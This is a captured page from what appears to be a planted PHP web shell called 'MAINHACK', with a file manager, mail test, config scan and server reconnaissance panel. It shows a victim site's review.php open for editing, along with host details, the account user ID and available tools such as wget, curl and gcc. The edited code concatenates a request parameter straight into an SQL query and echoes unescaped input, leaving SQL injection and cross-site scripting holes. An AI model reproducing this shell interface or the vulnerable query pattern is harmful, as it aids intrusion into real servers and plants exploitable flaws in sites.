[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: review.php
<!-- Header include --> <?php include("header.php");$pid=base64_decode($_REQUEST['pid']); echo $pid; $sq1=$show->readwithdata('product','product_id',$pid); while($row1=$sq1->fetch(PDO::FETCH_ASSOC)){ $product_name=$row1['product_name']; $rn=$row1['rating_num']; $rnum=$row1['review_num']; } $sq=$show->readwithdata('product_img','product_id',$pid); while ($row1 = $sq->fetch(PDO::FETCH_ASSOC)){ $img=$row1['img']; } ?> <script> function check_login(val1){ var val="<?=$_SESSION['user_id']?>"; if(val==""){ alert('Please login to give review'); }else{ window.location = "given-reviews.php?pid="+val1; } } </script> <!-- Inner Banner Start --> <!--<div class="inner-banner"> <div class="page-list"> <ul> <li><a href="index.php">Home</a></li> <li><i class="fa-solid fa-chevron-right"></i></li> <li>Review Now</li> </ul> </div> </div>--> <div class="given-reviews"> <div class="container"> <h2>Reviews</h2> <div class="col-md-4 col-sm-4 col-xs-12"> <div class="Writereviewsgiven"> <!--<h6>Share your views with other customers..</h6>--> <!--<a onclick="check_login('<?=base64_encode($pid)?>')" >Write a Review</a>--> <div class="reviewsProduct"> <!--<img src="<?=$pic_img?>/<?=$img?>" alt="">--> <img src="<?=$pic_img?>/<?=$img?>" alt=""> <h3><?=$product_name?></h3> <h4><b><?=$rn?> <span>★</span></b><?=$rnum?> Ratings & Reviews</h4> </div> </div> </div> <div class="col-md-8 col-sm-8 col-xs-12"> <div class="all-reviews" style="width:100%;"> <?php //echo $pid; //$stmt=$show->readwithdata_clause('review','user_id',$_SESSION['login_id'],"and product_id='.$pid.'"); $s="select * from review where product_id='".$pid."'"; $stmt=$con->prepare($s); $stmt->execute(); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ $sq1=$show->readwithdata('product','product_id',$row['product_id']); while($row1=$sq1->fetch(PDO::FETCH_ASSOC)){ $product_name=$row1['product_name']; } ?> <div class="all-reviews-show"> <div class="lt-box-icon"> <!--<img src="images/Reviewsuser01.png" alt="reviews-man">--> </div> <div class="lt-box-text"> <h4><?=$row['name']?></h4> <li><img src="images/<?=$row['rating']?>.png"></li> <li><?=$product_name?></li> <p><?=$row['review']?></p> </div> </div> <?php } }else{ echo "<h4>No reviews found</h4>";} ?> </div> </div> </div> </div> <!-- Footer include --> <?php include("footer.php"); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.54 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619